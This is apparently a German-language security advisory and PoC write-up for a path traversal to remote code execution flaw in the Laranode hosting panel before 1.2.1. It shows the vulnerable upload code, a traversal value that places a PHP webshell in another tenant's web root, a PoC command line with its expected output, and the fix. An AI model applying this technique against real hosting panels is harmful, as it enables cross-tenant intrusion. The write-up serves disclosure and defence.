
Path Traversal -> RCE in Laranode < 1.2.1 (CWE-22). PoC + Advisory-Writeup.
Autorisierte Sicherheitsforschung. PoC nur für defensive und edukative Zwecke.
Authentifizierter Path Traversal im Upload-Endpunkt des File-Managers von Laranode ermöglicht es einem Mandanten mit geringen Rechten, beliebige Dateien außerhalb seines eigenen Home-Verzeichnisses zu schreiben — einschließlich einer PHP-Webshell in das Web-Root eines anderen Mandanten — was zur Remote-Code-Ausführung als dieser Mandant führt.
| CVE | CVE-2026-100520 |
| Produkt | Laranode (Multi-Tenant-Hosting-Control-Panel, Laravel) |
| Betroffen | >= 0, < 1.2.1 |
| Behoben in | v1.2.1 |
| Schwachstelle | Path Traversal (CWE-22) → Arbitrary File Write → RCE |
| Berechtigungen | Authentifiziert (jeder Panel-Benutzer mit geringen Rechten) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Entdeckt von | Alisher Qarshibayev |
| Advisory | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php erstellt den Zielpfad, indem die vom Benutzer
bereitgestellten Request-Felder path und originalName direkt an das Home-Verzeichnis des
Mandanten angehängt werden — ohne Kanonisierung und ohne Traversal-Prüfung:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
Die Route ist nur durch auth geschützt — jeder authentifizierte Mandant kann sie erreichen:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Da path ../-Sequenzen akzeptiert, entkommt ein Wert wie ../victim/public_html dem
Home-Verzeichnis des Aufrufers und platziert den Upload im Web-Root eines anderen Mandanten.
Das Schreiben einer .php-Datei dort führt zur Code-Ausführung, sobald sie über HTTP angefordert wird.
Voraussetzungen: ein gültiges Konto mit geringen Rechten auf der Ziel-Laranode-Instanz (dies ist das Privileg, das die CVE annimmt). Der PoC meldet sich an, holt das CSRF-Token und schreibt eine Marker-PHP-Datei über Traversal in das Web-Root eines benachbarten Mandanten.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Erwartetes Ergebnis — der Server bestätigt das Schreibziel außerhalb des Home-Verzeichnisses des Angreifers:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
Siehe poc.py. Die Marker-Shell führt nur id/uname aus, um die Ausführung zu belegen —
keine destruktiven Aktionen.
Upgrade auf Laranode 1.2.1 (Fix-Commit).
Der Fix normalisiert den aufgelösten Pfad und lehnt jedes Ziel ab, das dem
Home-Verzeichnis des Mandanten entkommt (realpath()-Containment-Prüfung). Allgemeine Empfehlung: Erstellen Sie
niemals Dateisystempfade aus rohen Benutzereingaben — kanonisieren Sie sie und bestätigen Sie, dass das Ergebnis innerhalb
eines erlaubten Basisverzeichnisses bleibt.
| Datum | Ereignis |
|---|---|
| 2026-09-21 | Datum der öffentlichen Offenlegung |
| 2026-09-26 | CVE-2026-100520 reserviert & veröffentlicht (VulnCheck) |
Verantwortungsvoll an den Hersteller gemeldet und über VulnCheck koordiniert. Behoben in v1.2.1, bevor dieser PoC veröffentlicht wurde. Veröffentlicht für defensive und edukative Zwecke.